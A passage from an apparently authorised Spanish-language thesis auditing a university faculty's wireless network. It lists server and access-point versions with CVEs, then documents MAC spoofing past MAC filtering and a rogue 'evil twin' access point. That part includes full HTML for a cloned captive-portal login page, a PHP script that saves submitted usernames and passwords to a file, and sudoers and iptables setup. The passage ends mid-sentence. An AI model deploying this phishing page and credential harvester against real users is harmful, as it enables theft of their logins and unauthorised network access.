- Establecer un MAC del mismo tipo (por ejemplo: tarjeta inalambrica).”®

MacChanger es una herramienta Software Libre que esta liberada bajo una
licencia GPL y es muy sencilla de usar, antes de utilizar primero se debe

deshabilitar la tarjeta y después realizar el cambio.

6.6.5.5. Airbase-ng

“Airbase-ng es una utilidad “multi-propésito” dirigida a atacar a los clientes
conectados a un Punto de Acceso (AP). Como es tan versatil y flexible, no es facil

realizar un resumen o sumario.

De todos modos las funciones mas importantes que se pueden realizar son:

- Implementa el ataque a un cliente “Caffe Latte WEP”.

- Implementa el ataque “Hirte WEP client attack”.

- Habilita para capturar el handshake WPA/WP2.

- Habilita para actuar como un Punto de Acceso “ad-hoc”

- Habilita para actuar como un Punto de Acceso normal

- Habilita para filtrar por SSID o direccion MAC del cliente
- Habilita para manipular y reenviar paquetes

- Habilita para encriptar los pagquetes enviados y desendriptar los recibidos.

La idea principal de esta utilidad es que los clientes se podrian asociar a un AP

falso (fake AP), y no pueden prever que estan accediendo al Punto de Acceso real.

Una interface (atX) se crea cuando airbase-ng se ejecuta. Esta se puede usar para

recibir paquetes desencriptados o enviar paquetes encriptados.

'® LOPEZ Alvaro (2007). GNU MAC Changer. Extraido el 17 de septiembre de 2012 desde
http://www.alobbs.com/macchanger

88



Como los clientes reales probablemente enviaran “probe requests”, estos paquetes
son importantes para hacer picar a un cliente hacia nuestro Punto de Acceso
“softAP”. En este caso, el AP respondera a cualquier paquete “probe request” con
el correspondiente “probe response”, el cual le dice al cliente que se encuentra
autenticado al BSSID de airbase-ng. Hay que decir que esto podria distorsionar el

funcionamiento correcto de otros APs que se encuentren en el mismo canal.” *’

Esta utilidad permite crear puntos de accesos falsos y de esta forma enganiar al
cliente y sacar algun beneficio de esto.

6.6.5.6. Ettercap

“Ettercap es un interceptor, sniffer, registrador para LANs con switch. Soporta
direcciones activas y pasivas de varios protocolos (incluso aquellos cifrados,
como SSH y HTTPS). También hace posible la inyeccion de datos en una
conexion establecida y filtrado al vuelo aun manteniendo la conexion sincronizada

gracias a su poder para establecer un Ataque Man in the middle (Spoofing).

Muchos modos de sniffing fueron implementados para darnos un conjunto de
herramientas poderoso y completo de sniffing. Permite ejecutar en tres modos
desde la terminal digitando ettercap, con —G es modo gréfico, -T es modo texto y

—C modo consola.” 8

Ettercap es una herramienta completa que permite interceptar datos sean usuarios,

passwords, ademas permite saber que esta pasando en la red en tiempo real.

Y7 aircrack. (2009). Airbase-ng. Extraido el 18 de septiembre de 2012 desde http://aircrack-
ng.org/doku.php?id=es:airbase-ng

% Alevsk. (2010). Ettercap potente herramienta de auditorias LAN. Extraido el 17 de septiembre
de 2012 desde http://www.alevsk.com/2010/07/ettercap-potente-herramienta-de-auditorias-
lan/
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6.6.5.7. Netfilter/iptables

“Es un conjunto de herramientas (comandos) que le permiten al usuario enviar
mensajes al kernel del sistema operativo. El kernel tiene todo el manejo de
paquetes TCP/IP metido dentro de él, no es algo aparte como lo es en otros
sistemas operativos, por lo tanto todos los paquetes que van destinados a un Linux

o lo atraviesan son manejados por el mismo kernel.

Entonces, iptables es una forma de indicarle al kernel algunas cosas que debe
hacer con cada paquete, esto se hace en base a las caracteristicas de un paquete en
particular. Los paquetes de red tienen muchas caracteristicas, algunas pueden ser
los valores que tienen en sus encabezados (a donde se dirigen, de donde vienen,
nameros de puertos, etc.), otra puede ser el contenido de dicho paquete (la parte
de datos), y existen otras caracteristicas que no tienen que ver con un paguete en
particular sino con una sumatoria de ellos. La idea es lograr identificar un paquete

y hacer algo con el mismo.” *°

Esta herramienta permite controlar el filtrado de paquetes IP y la configuracion

del servidor en las distribuciones Linux.

6.6.5.8. Exploit

“Un Exploit es un programa o cédigo que “explota” una vulnerabilidad del
sistema o de parte de él para aprovechar esta deficiencia en beneficio del creador

del mismo.

Si bien el cdodigo que explota la vulnerabilidad no es un cédigo malicioso en si
mismo, generalmente se lo utiliza para otros fines como permitir el acceso a un

sistema 0 como parte de otros malware como gusanos y troyanos.

'° COLETTI, Daniel. (2003). Qué es iptables?. Extraido el 18 de septiembre de 2012 desde
http://www.danielcoletti.com.ar/Documentos/Tech/Iptables/iptables/node5.html
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Es decir que actualmente, los exploits son utilizados como "componente” de otro
malware ya que al explotar vulnerabilidades del sistema permite hacer uso de

funciones que no estarian permitidas en caso normal.

Existen diversos tipos de exploits dependiendo las vulnerabilidades utilizadas y
son publicados cientos de ellos por dia para cualquier sistema y programa
existente pero s6lo una gran minoria son utilizados como parte de otros malware
(aquellos que pueden ser explotados en forma relativamente sencilla y que pueden

lograr gran repercusion).

ZERO DAY (Dia cero): Cuando esta aplicado a la informacion, el "Zero Day"
significa generalmente informacion no disponible publicamente. Esto se utiliza a
menudo para describir exploits de vulnerabilidades a la seguridad que no son
conocidas por los profesionales del tema. Se define Zero Day como cualquier

exploit que no haya sido mitigado por un parche del vendedor.” %

Un exploit como su nombre lo indica permite que mediante comandos se pueda

explotar vulnerabilidades de seguridad para obtener acceso no autorizado.

6.7. Metodologia

El analisis de vulnerabilidades se realiz6 de manera independiente sin afectar el
funcionamiento de la red inalambrica de la FISEI y se hizo las respectivas pruebas
de los diferentes ataques en dias y horas de menor uso para evitar inconvenientes

a los usuarios.

Para la elaboracidn de este proyecto se utilizd la Metodologia para el Analisis de
Vulnerabilidades disefiada por Rodrigo Ferrer y comprende las siguientes

actividades:

*® BORGHELLO, Cristian. (2009). Exploit. Extraido el 18 de septiembre de 2012 desde
http://www.segu-info.com.ar/malware/exploit.htm
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Anadlisis de la Infraestructura

En esta fase se busca identificar cada uno de los dispositivos de hardware o

software residentes en la infraestructura que conforman la red inalambrica.

Basqueda de Vulnerabilidades en Infraestructura

En esta fase se busca vulnerabilidades para las versiones de los servicios
instalados en el servidor y de las versiones de firmware de los puntos de acceso.
Ademas es factible utilizar software para encontrar vulnerabilidades en el

servidor.

Seleccion de Herramientas

En esta fase se realizara una seleccion de las herramientas para la deteccion de

vulnerabilidades tomando en cuenta las ventajas y desventajas de cada una y los

requerimientos de hardware para proceder con el analisis.

Generacion de Ataques

En esta fase se determina los tipos de ataques posibles en base a como se

encuentra la infraestructura de la red inalambrica y a las vulnerabilidades

encontradas. Se define los objetivos, la herramienta ha usar, el proceso a seguir y

las conclusiones.
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6.8. Modelo Operativo

6.8.1. Analisis de la Infraestructura de la red inalambrica de la FISEI

En la red inalambrica de la FISEI existen alrededor de 250 usuarios registrados
gue estadn autorizados para acceder a internet, sea por filtrado MAC o con

credenciales de acceso (usuario y contrasefia).

Cuenta con un Router inalambrico que se encuentra conectado directamente con el
servidor Radius que estd ubicado en el Departamento de Administracion de
Redes, que emite sefial a los puntos de acceso que a la vez funcionan como

repetidores.

Un punto de acceso se encuentra ubicado en el tercer piso del edificio principal,
otro se encuentra en la entrada a la biblioteca y otro en el sector de las oficinas
administrativas. De la misma forma en el nuevo edificio posee dos puntos de
acceso que funcionan como repetidores en el segundo y cuarto piso para brindar

cobertura en todo el sector.
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6.8.1.1. Versiones instaladas en el Server Radius

Para revisar las versiones de los servicios instalados en el servidor se uso el
comando rpm —q.

NOMBRE VERSION
Apache 2.2.15-5.el6.centos.x86_64
FreeRadius 2.1.10-5
MySQL 5.1.52-1.el6_0.1.x86_64
Chillispot 1.1.0-1.i386
DaloRadius 0.9-8

Tabla 6.1. Versiones instaladas en el servidor.

Fuente: Investigacion.

6.8.1.2. Versiones de Firmware de Equipos

Para conocer marcas, modelos y version de firmware de los equipos se hizo un

recorrido por la Facultad para conocer la ubicacion, ademas se solicit6

informacion al encargado del Departamento de Redes.

EQUIPO MARCA MODELO FIRMWARE
Router Linksys WRT300N Version 1.51.2
Access Point 1 3com 7760 Version 1.6.40
Access Point 2 Cisco WAP200E Version 2.0.0.27
Access Point 3 Linksys WAP54G Version 3.04.03
Access Point 4 Cisco WAP4410N Version 2.0.1.0
Access Point 5 Cisco WAP4410N Version 2.0.1.0

Tabla 6.2. Versiones de firmware de equipos.

Fuente: Investigacion.
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6.8.2. Busqueda de Vulnerabilidades en Infraestructura
Después de conocer las versiones de los servicios instalados en el servidor y de las
versiones de firmware de los equipos se pudo realizar una busqueda en la pagina

Vulnerabilidades y Exposiciones Comunes (CVE), que es un diccionario de

conocimiento publico de las vulnerabilidades de seguridad de la informacion.

6.8.2.1. Vulnerabilidades en versiones instaladas en servidor.

- Servidor Centos 6.3

No se encontrd vulnerabilidad en la version instalada.

- Apache

Se encontré una vulnerabilidad en la version httpd -2.2.15-5 que se detalla a

continuacion.

“El filtro ByteRange en el Servidor HTTP Apache 1.3.x, 2.0.x hasta el 2.0.64 y
2.2.X hasta la 2.2.19 permite a atacantes remotos provocar una denegacion de
servicio (consumo de la memoria y el CPU) a través de una cabecera Range que

expresa multiple superposicion de rangos.” %

- Freeradius

Se encuentra instalada la version 2.1.10, existe una vulnerabilidad en la version la

cual se detalla a continuacion.

2L cvE (2012). CVE-2011-3192. Extraido el 10 de noviembre de 2012 desde
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192
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“Desbordamiento del bufer de pila basado en la funcién de cbtls_verify en
FreeRADIUS 2.1.10 hasta la 2.1.12, al utilizar TLS basados en métodos EAP,
permite a atacantes remotos provocar una denegacion de servicio (caida del
servidor) y posiblemente ejecutar codigo arbitrario por un largo timestamp

“not_after” en un certificado de cliente.” %

- MySQL

Se encuentra instalada la version 5.1.52-1 y se encontr6 una vulnerabilidad que se

detalla a continuacién.

“Vulnerabilidad no especificada en el servidor MySQL componente en Oracle
MySQL 5.1.63 y anteriores, y 5.5.25 y anteriores, permite autenticacion remota de
usuarios que afectan a la disponibilidad a través de vectores desconocidos

relacionados con InnoDB Plugin.” %3

- Chillispot

La version instalada de este servicio que permite autenticar a los usuarios de la red

inalambrica es chillispot -1.1.0.i386 y no se encontrd vulnerabilidades.

- Daloradius

Es una interfaz web para administrar y controlar el registro a los usuarios de la red
inaldmbrica. La version instalada de daloradius es la -0.9-8 la cual posee una

vulnerabilidad que se detalla a continuacion.

22 CVE (2012). CVE-2012-3547. Extraido el 10 de noviembre de 2012 desde
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-3547
% CVE (2012). CVE-2012-3173. Extraido el 10 de noviembre de 2012 desde
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-3173
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“Cross-site scripting (XSS) en daloradius-users/login.php en daloRADIUS 0.9-8 y

anteriores permite a atacantes remotos inyectar secuencias de comandos web o

HTML a través del parametro de error” %

6.8.2.2. Vulnerabilidades en versiones de Firmware en equipos.

- Router Linksys

Router inalambrico modelo WRT300N V1.1 con Firmware 1.51.2 no se pudo

constatar que exista una vulnerabilidad en esta version.

- Access Point 3com

AP modelo 7760 con version de firmware 1.6.40 no existe vulnerabilidad.

- Access Point Linksys

AP modelo WAP54G con version de firmware 3.04.03 se encontrd

vulnerabilidad.

“Cross-site scripting (XSS) vulnerabilidad en debug.cgi en Linksys WAP54Gv3
firmware 3.05.03 y 3.04.03 permite a atacantes remotos inyectar scripts web
arbitrario o HTML a través del parametro datal.”

- Access Point Cisco

AP modelo WAP200E con version de firmware 2.0.0.27 no se encontrd

vulnerabilidad.

** CVE (2012). CVE-2009-4347. Extraido el 10 de noviembre de 2012 desde
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4347
2 CVE (2012). CVE-2010-2506. Extraido el 11 de noviembre de 2012 desde
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2506
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- Access Point Cisco

AP modelo WAP4410N con version de firmware 2.0.1.0, se encontré una

vulnerabilidad que se detalla a continuacion:

“Una vulnerabilidad fue reportada en el punto de acceso WAP4410N Cisco. Un
usuario remoto puede llevar a cabo ataques de fuerza bruta para adivinar para
obtener acceso a la red de destino. El Registrador PIN externo (PIN-RE) de modo
de la configuracion Wi-Fi protegida (WPS) de protocolo contiene una debilidad
que permite a un usuario remoto dentro del alcance del interfaz inalambrica para
determinar si la primera mitad de la 8 digitos del PIN WPS configuracion es

correcta.

Un usuario remoto dentro del alcance de la interfaz inalambrica puede explotar
esto para realizar una fuerza bruta de configuracion PIN WPS adivinar ataque y
obtener acceso a la red objetivo en un corto periodo de tiempo. EI WAP4410N

Cisco se ve afectado.

La vulnerabilidad reside en el protocolo WPS y no se limita a este dispositivo. Las
advertencias originales estan disponibles Viehbock y Craig Heffner independiente

informo esta vulnerabilidad.” %

6.8.3. Seleccion de Herramientas

Para cumplir con los objetivos propuestos para el analisis de la red inalambrica de

la FISEI se necesito software para la realizacion de pruebas y analisis, ademas de

la adquisicién de una tarjeta inalambrica.

2 Security Tracker. (2012). Cisco Access Point. Extraido el 14 de noviembre de 2012 desde
http://securitytracker.com/id/1026565
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6.8.3.1. Software

Existe una gran variedad de software para realizar analisis de vulnerabilidades de
la red inaldmbrica, pero se tomo en cuenta la existencia del decreto 1014 que
promueve el uso de software libre en las instituciones publicas del Ecuador por tal

motivo se considero las siguientes herramientas.

Distribucion Backtrack WIFISlax nUbuntu
Entorno Grafico | Gnome, KDE, | KDE Fluxbox

Fluxbox
Arquitectura 32y 64 bits 32 bits 32 y 64 bits

(1386, amd64)
Derivada Auditor y WHAX | Knopixx, Debian | Ubuntu
y Slax

Herramientas Aircrack-ng, Aircrack-ng, Ethereal, Nmap,
Principales Kismet, Ettercap, | decsagem, john- | dSniff, y Ettercap,

Wireshark, the-ripper, entre otros.

Medusa, Nmap, | wepcrack, entre

Zenmap, otros.

Macchanger, entre

otros.

Tabla 6.3. Cuadro comparativo de distribuciones.

Fuente: Investigacion

Después de revisar el cuadro comparativo de las distribuciones live-cd se
selecciond para el analisis de la red inalambrica Backtrack 5 por ser una completa
suite que contiene gran variedad de herramientas como Wireshark que es un
sniffer para ver el trafico de la red, Airbase —ng que admite crear puntos de
acceso, Ettercap que permite realizar variedad de ataques a una red, ademas de

contar con la configuracion de servicios como Apache y DHCP.
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6.8.3.2. Hardware

En Backtrack 5 ciertas tarjetas inalambricas internas no son reconocidas, por lo

que fue necesaria la adquisicion de un adaptador inalambrico externo (usb) para

poder acceder a la red.

6.8.4. Desarrollo

6.8.4.1. Instalacion de Backtrack 5

Previo a la instalacion del Backtrack se debio encender el computador, acceder a

la BIOS, configurar para que arranque el computador desde Cd-rom y por Gltimo

reiniciar. Los detalles de la instalacion se pueden encontrar en el Anexo 4.

6.8.4.2. Ataques a la Red Inalambrica

6.8.4.2.1. MAC Spoofing

Debido a que la red inaldmbrica usa el filtrado MAC para el acceso se reviso el

trafico de la red y se tratd de obtener una direccion MAC que sea habilitada para

el libre acceso, para esto se usé Wireshark.

Para lograr esto se procedio a conectar a la red inaldmbrica de la FISELI.
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< {g[DisconnectAll @Hﬂfr&h 'ﬁ(Preferencts v

Choose from the networks below:

FISEl 75% Unsecured Channel &
[ Automatically connect to this network

Connect | | Properties

uocenic 61% WPA Channel &
[ Automatically connect to this network

Connect | | Properties

DOCENTES-FISElI 55% Unsecured Channel 6
[ Automatically connect to this network

Connect | | Properties

UTA-WIFI 47% Unsecured Channel 11
[ Automatically connect to this network

Connect | | Properties A
Not connected 4
I ~ v x Wicd Network Manager

=k [ Disconnect All @J Refresh e( Preferences v

Choose from the networks below:

==

==

==

v

- Connecting Cancel

None: Putting interface down... 4

Grafico 6.2. Conectando a la red inalambrica de la FISEI

Se consulto la direccién IP asignada con el comando ifconfig wlanO.

Pp
elen:1000
.8KB) T

Grafico 6.3. Consultando ip asignada
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Se procedio a ejecutar el software que permitié analizar el trafico de la red, en este

caso se usd Wireshark, en la consola se escribié Wireshark para que se abra el
programa.

Network Protocol Analyzer
Registering dissector ...
sscf

— &

Gréfico 6.4. Comando para abrir Wireshark

La pantalla de inicio del programa es la siguiente.

The World's Most Popular Network Protocol Analyzer
Version 1.6.1 (SVN Rev Unknown from unknown)

Capture L Files ] Online |
5 Interface List = Open Website
(counts incoming packets)
Open Recent: J i
Start capture on interface: @ User's Guide
The User's Guide (online version)
@] etho Sample Captures
& wilano A rich assortment of example capture files on the wiki @ Security
{2 Pseuco-device that captares on all ntefaces Vork it Wireshar o securey s ossive
# USB bus number 1
@ USB bus number 2
21 lo

Capture Options
il P P

Start a capture with detailed options

Capture Help

How to Capture

Step by step to a successful capture setup

Network Media
@ specric itormation for capturing on:
O Ready to load or capture No Packets

Profile: Default

(1

Wicd Network Manager  [=] Terminal = root@bt: ~ " The Wireshark Networ...

Grafico 6.5.  Wireshark

Se seleccion6 Show de capture options... del mend.

Gréfico 6.6. Show the capture options...

103



Se procedio a escoger la interface para proceder al escaneo, en este caso wlan0.

Wireshark: Capture Options

Capture
Interface: |wlan0 ‘E”
IP address: 172.168.0.43, feB0::1eaf:f7ff:-fe68:ca94

Link-layer header type: | Ethemnet v Buffer size: |1 :' megabyte(s)

Capture packets in promiscuous mode
[ Capture packets in monitor mode

[0 Capture packets in pcap-ng format

0 Limit each packetto 65535 . bytes

|Capture Filten‘ | | v ‘ |C0mpi|e BPF

Capture File(s) Display Options

File: | | |Emwse.

Update list of packets in real time

[0 Use multiple files
Automatic scrolling in live capture

[ Next file every 1

B =i ills =iz - . Hide capture info dialog
[J Ring buffer with 2 : files

B = Name Resolution

() Stop capture after |1 L | Tile(s)

Stop Capture Enable MAC name resolution

O ... after 1
0O ... after 1

O .. after 1 ry Enable transport name resolution
Help Cancel Start

Ctmrt

[ Enable network name resolution

Gréfico 6.7.  Seleccién de interface

Se seleccion6 Start y empezd el escaneo en la red inalambrica como se puede

observar en la siguiente imagen.

g from wlan0

No. Time Source Destinatij Protocol Length Info b

526.491612  172.168.0.28 224.0.0.252 'LLMNR 70 Standard query A ifmsfuuabi

53 6.494851  fe80::3d70:c857:899:(Ff02::1:3 LLMNR 90 Standard query A jqleaeilxi

54 6.495963  172.168.0.28 1224.0.0.252 LLMNR 70 Standard query A jqleaeilxi

556.497099  fe80::3d70:c857:8f99:(ffe2::1:3 LLMNR 9@ Standard query A bsriuibrmi

56 6.498073  172.168.0.28 1224.9.0.252 LLMNR 70 Standard query A bsriuibrmi

57 6.586083 | fe80::3d70:c857:899:(ffe2::1:3 LLMNR 9@ Standard query A jqleaeilxi

587.380473  172.168.0.28 239.255.255.2560 SSDP. 175 M-SEARCH * HTTP/1.1

59 7.380968  172.168.0.1 172.168.0.28 SSDP 391 HTTP/1.1 200 OK

60 7.529805  172.168.0.28 172.168.0.127 NBNS 92 Name query NB JQLEAEILXI<08>

618.158108  0.0.0.0 255.255.255.255 DHCP 342 DHCP Discover - Transaction ID @x48b2f56f

62 8.291109  172.168.6.28 172.168.0.127 NBNS 92 Name query NB BSRIUIBRMI<08>

638.292195 | 172.168.0.28 172.168.6.127 NBNS 92 Name query NB THMSFUUABI<08>

64.8.293444 | 172.168.0.28 172.168.6.127 NBNS 92 Name query NB JQLEAEILXI<G8> v
+ Frame 1: 153 bytes on wire (1224 bits), 153 bytes captured (1224 bits) -
+ Ethernet II, Src: Cisco-Li 43:d6:5a (09:23:69:43:d6:5a), Dst: HonHaiPr ac:f4:2c (90:00:4e:ac:f4:2c)
| Internet Protocol Version 4, Src: 10.162.12.10 (10.102.12.19), Dst: 172,168.0.28 (172.168.0.28)
+| User Datagram Protocol, Src Port: domain (53), Dst Port: 52182 (52182)

+ Domain Name Svstem (resnanse)

0868 90 60 4e ac f4 2c 00 23 69 43 d6 5a 08 06 45 00
0016 ©6 8b aa 33 66 808 3c 11 10 fb Ba 66 Bc Ba ac a8
0820 80 1c 86 35 cb d6 @8 77 1le c5 61 77 85 83 60 01
0030 ©6 66 66 61 60 00 ©1 31 01 30 01 30 @3 31 32 37
0040 ©a 64 6e 73 62 75 67 74 65 73 74 01 31 €1 30 01
0856 30 3 31 32 37 67 69 6e 2d 61 64 64 72 @4 61 72  0.127.in -addr.ar

0060 76 61 66 66 6C 6O O1 cO 23 00 06 00 ©1 €6 61 51 pa...... #ooo...

0676 80 60 26 69 6c 6F 63 61 6c 68 6 73 74 60 04 72 ..&.loca Llhost

0080 6 6f 74 cO 49 77 b0 b9 62 06 60 70 86 60 00 38 0ot.Tw.. ...p...8

0090 46 66 36 ee 80 060 01 51 80 @6....9 .

© wlano: <live capture in progress> Fil - Packets: 64 Displayed: 64 Marked: 0 profile: Defauit 4

Graéfico 6.8.  Sniffing
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En la seccion Filter escribio ARP para que se filtre y solo salga informacién.

e [ -] Expression.. Clear Apsy
No.  Time Source Destination Protocol Length Info -
523 53.842108 HonHaiPr_aaif2:ad Broadcast ARP 42 who has 172.168.0.12 Tell 172.168.1.95

528 55.046722 IntelCor_40:62:36 EBroadcast ARP 42 who has 172.168.1.1177 Tell 172.168.1.52

529 55.047547 HonHaiPr_3a sroadcast ARP 42 who has 172.168.0.1? Tell 172.168.1.129
530 55.048301 HonHaiPr_aa Broadcast ARP 42 who has 172.168.0.17 Tell 172.168.1.95
537 55.369841 HonHaiPr_a5 sroadcast ARP 42 who has 172.168.0.1? Tell 172.168.1.118
540 55.582683 IntelCor_40: Broadcast ARP 42 who has 172.168.1.117? Tell 172.168.1.52
546 55.908039 HonHaiPr_aa Broadcast ARP 42 who has 172.168.0.1? Tell 172.168.1.95
555 56.507442 IntelCor_40 Broadcast ARP 42 who has 172.168.1,1177 Tell 172.168.1.52
556 56.643704 HonHaiPr_a5:4b:69 Broadcast ARP 42 who has 172.168.0.17 Tell 172.168.1.118
557 56.725802 HonHaiPr_aa Broadcast ARP 42 who has 172.168.0.1% Tell 172.168.1.95
558 56.839107 HonHaiPr_3a Broadcast ARP 42 who has 172.168.0.17 Tell 172.168.1.129
566 57.850089 HonHaiPr_3a sroadcast ARP 42 who has 172.168.0.1? Tell 172.168.1.129
567 57.850827 HonHaiPr_aa Broadcast ARP 42 who has 172.168.0.17 Tell 172.168.1.95
570 58.768147 HonHaiPr_aa sroadcast ARP 42 who has 172.168.0.1% Tell 172.168.1.95
571 58.892046 HonHaiPr_2c Broadcast ARP 42 who has 172.168.0.12 Tell 172.168.1.70
572 58.894394 HonHaiPr_2c Broadcast ARP 42 who has 172.168.0.1? Tell 172.168.1.70
592 59.426162 IntelCor_fa:f7:la Broadcast ARP 42 who has 172.168.0.1? Tell 172.168.1.127
597 59.689540 3a: Broadcast ARP 42 who has 172.168.0.17 Tell 172.168.1.129
600 59. 884095 Broadcast ARP 42 who has 172.168.0.1% Tell 172.168.1.95
601 59. 885602 Broadcast ARP 42 who has 172.168.0.17 Tell 172.168.1.70
604 60. 202756 sroadcast ARP 42 who has 172.168.0.1? Tell 172.168.1.127
616 60.428698 = B Broadcast ARP 42 who has 172.168.0.17 Tell 172.168.1.129
621 60.768429 HonHaiPr_2c:e3:b9 Broadcast ARP 42 who has 172.168.0.1% Tell 172.168.1.70 -

Grafico 6.9.  Filtrado ARP

Se obtuvo una direccion MAC de una computadora que se encontraba conectada
a la red inaldmbrica, es la 8C:A9:82:40:62:36.

0000 ff ff ff ff ff f 5 ; § 06 00 01
0010 O 00 06 04 00 01CHLE 39 82 40 62 @8 01 34
0020 00 00 00 00 00 00 aC™mé
Grafico 6.10. Direccién MAC encontrada
En esta ocasion se utilizé un adaptador inaldmbrico D-Link en Backtrack. Para ver

la informacion de la interface se usé el comando ifconfig y claramente se pudo

observar la MAC address del adaptador inaldmbrico que es la 1c:af:f7:68:ca:94.

root@bt:~# ifconfig

wlan® Link encap:
inet6 addr:
UP BROADCAST RUNNING MULTICA

QIRT

ackets: -
TX packets:2690 erro - runs:0 carrier:0
collisions:@ txqueuelea:looo
RX bytes:2640019 (26 MB) «TX byte 63789 (463.7 KB)

Gréfico 6.11. MAC original del adaptador inalambrico
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Entonces se procedié a hacer el cambio en la tarjeta inalambrica. Utilizando los

comandos que se observan en la siguiente imagen.

Current MAC: 1lc:a
Faked MAC: 8c:a9

B

Grafico 6.12. Cambio de MAC comando macchanger

Después de ejecutar los comandos anteriores se reviso si el cambio fue efectivo

con el comando ifconfig.

RX bytes:31601 (31.6 KB) TX bytes:31601 (31.6 KB)

Link encap:Ethernet HWaddr<8c:a9:82: :
UP BROADCAST MULTICAST MTU:1560 mMELric:1

RX packe P6 er :0 dropped:@ oVerruns:@
© dropped:0 overruns:0 C

Grafico 6.13. Nueva MAC

Como se puede ver en la imagen anterior la direccion MAC se cambid con éxito,

entonces se procedio a conectar a la red inalambrica de la FISEI.

~ v  x Wicd Network Manager |

Network #[Disconnect All @Rﬂfresh {Preferenc&

-4

Choose from the networks below:

FISEl 72% Unsecured Channel 6
[ Automatically connect to this network

| Disconnect | | Properties |

uocenic 67% WPA Channel 6
[ |Automatically connect to this network|

| Connect | |Properties|

DOCENTES-FISEI 58% Unsecured Channel 6
O Automatically connect to this network

| Connect il Properties |

UTA-WIFI 44% Unsecured Channel 11
[ Automatically connect to this network

| Connect I Properties |

Connected to FISEI at 87% (IP: 172.168.0.54) P|

5 items, Free space: 235.6 GB —

Grafico 6.14. Conectando a red inalambrica
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Y finalmente se logré acceder con éxito y se pudo navegar con total libertad.

* Google - Mozilla Firefox

File Edit View

(‘L] 8 B hetpwww.google.com.ec/ v]c@| [ Google Q| @

B BackTrack Linux [Jfoffensive Security WExploit-DB Yy Aircrack-ng EFSEORG.org [ Music v

Iniciar sesién | X

+T0 Basqueda Imagenes Maps Play Gmall Drive Calendar Mas -

Google

Eq Google

En estas fechas, Google reconoce a organizaciones que estan cambiando el mundo

Google.com.ec ofrecido en: English

Grafico 6.15.  Navegacion con éxito

6.8.4.2.2. Rogue Access Point

Al acceder a la red inalambrica de la FISEI y si no se encuentra registrada la
direccion MAC en el servidor, automéaticamente al abrir una pagina web se
redireccionara al portal cautivo de la Facultad, el cual solicitard que ingrese el
usuario y la contrasefia. En la FISEI los unicos que hacen uso de este método de

conexioén son los docentes.

« C | B bispe//172.168.0.1 /cgi-bin/hotspotlogin.cgi?res =notyet&uamip=172.168.0.1&uamport=39908&challenge=013b15a663de051f57383f01ac7833298&userurl=http%3a% 2% 2fwww.goo Ty | =
7
FISEI WIFI
Usuario:
Clave:

Grafico 6.16.  Portal Cautivo de la red inaldmbrica
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Se cred un punto de acceso falso con el nombre similar al existente en la Facultad
FISEI2 que permitio robar las credenciales de acceso de los usuarios de la red
inaldmbrica, ademas admitio la libre navegacion para evitar que el cliente note

alguna anomalia.

Para conseguir este objetivo se requirid las siguientes herramientas que se

encuentran en la distribucion Backtrack 5:

- Servidor web Apache (con php instalado)
- Servidor DHCP

- Herramienta airbase-ng

- Netfilter/Iptables

Ademas se necesitd un adaptador inalambrico usb que sea compatible con
distribuciones Linux, en este caso se uso D-Link — N150. Se opt6 por un adaptador
inaldambrico externo debido a que ciertas tarjetas inalambricas internas no son

reconocidas por Backtrack.

El servidor web Apache se encarga de almacenar las paginas, es decir la de login
que va a ser igual al que aparece cuando se quiere acceder al internet y el script
en php.

Iptables se encarga que todas las peticiones enviadas al servidor sean redirigidas
al puerto donde se estuvo ejecutando el servidor web (distinto del 80).
Configuracién en Backtrack

Se procedio a crear la pagina del login similar al de la FISEI. Para modificar el
fichero index.html que es el que contiene la pagina html se dirigi6é al siguiente
directorio.

root@bt:~# vi /var/www/index.htm]l
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En el fichero index.html se cre6 la pagina de login similar a la existente.

<html><head>
</head>
<body bgcolor="#fffffff">
<hl style="text-align: center;">FISEI WIFI</hl>
<center>
<form action="1og.php" method="post">
<table border="3" cellpadding="5" cellspacing="1"
style="width: 217px;">
<tbody>
<td><img src=LogoFisei.gif/></td>
<tr>
<td align="right">Usuario:</td>
<td><input type="text" name="user" size="20"
maxlength="20"></td>
</tr>
<tr>
<td align="right">Clave:</td>
<td><input type="password" name="contra"
size="20" maxlength="10"></td>
</tr>
<tr>
<td align="center" colspan="2"
height="23"><input type="submit" value="Login"></td>
</tr>
</tbody>
</table>
</form>
</center>
</body>
</html>

Después de modificar el fichero index.html se procedi6 a crear el script log.php
asociado, que se ubicara en el mismo directorio /var/www. Este script permitio
guardar los datos que fueron introducidos por el usuario en un fichero de texto
(Ilamado datos) en el directorio del servidor, ademas afiadio la direccién ip del
usuario al cortafuego evitando asi que sea redirigido y pueda navegar

normalmente.

<?php

$f = fopen("datos", "a");

$usuario = "usuario -> " . $_POST["user"]. "\n";
fputs($f, $usuario);

$pass = "password -> " . $_POST["contra"]. "\n\n------
---\n\n";

fputs($f, $pass);

fclose($T);

$ip = $_SERVER['REMOTE_ADDR'];
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$comando = "sudo -u root iptables -t nat -I PREROUTING
-s $ip -p tcp --dport 80 -j ACCEPT";
exec($comando) ;
header ("Location: https://www.google.com.ec");
?>
Se cred el archivo datos y se asignd los respectivos permisos para que guarde las

credenciales de los usuarios.

root@bt:~# touch /var/www/datos

root@bt:~# chmod 666 datos

A continuacion se edito un par de parametros del servidor Apache.

root@bt:~# vi /etc/apache2/ports.conf
Fichero ports.conf

Listen 55555
DocumentRoot /var/www/

En donde se cambio el puerto al que escucha el servidor (80 por defecto) y se
afiadi6 el directorio por defecto donde el servidor buscard las paginas
(DocumentRoot).

Debido a que se ejecutdé como usuario www-data el servidor no puede ejecutar
ordenes como root, es imposible afadir reglas al cortafuegos. Por esta razon se
afiadié una regla al fichero sudoers. Solo se tuvo que escribir visudo para

configurar y afadir la siguiente linea.

root@bt:~# visudo

www-data bt=(root) NOPASSWD:/sbin/iptables

Ademas se configuro el servidor DHCP el fichero dhcpd.conf que se encuentra

ubicado en el siguiente directorio.

root@bt:~# cd /etc/dhcp3/
root@t:~# vi dhcpd.conf
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Se modifico el fichero dhcpd.conf.

authoritative;

ddns-update-style none;
default-Tease-time 600;

max-lease-time 7200;

subnet 10.0.0.0 netmask 255.255.255.0{
range 10.0.0.2 10.0.0.254;

option routers 10.0.0.1;

option domain-name-servers 8.8.8.8;

}

Asi ya se pudo iniciar el servicio Apache.

root@bt:~# /etc/init.d/apache2 start

Se aplicd la siguiente regla que permitio redirigir toda peticion al servidor con

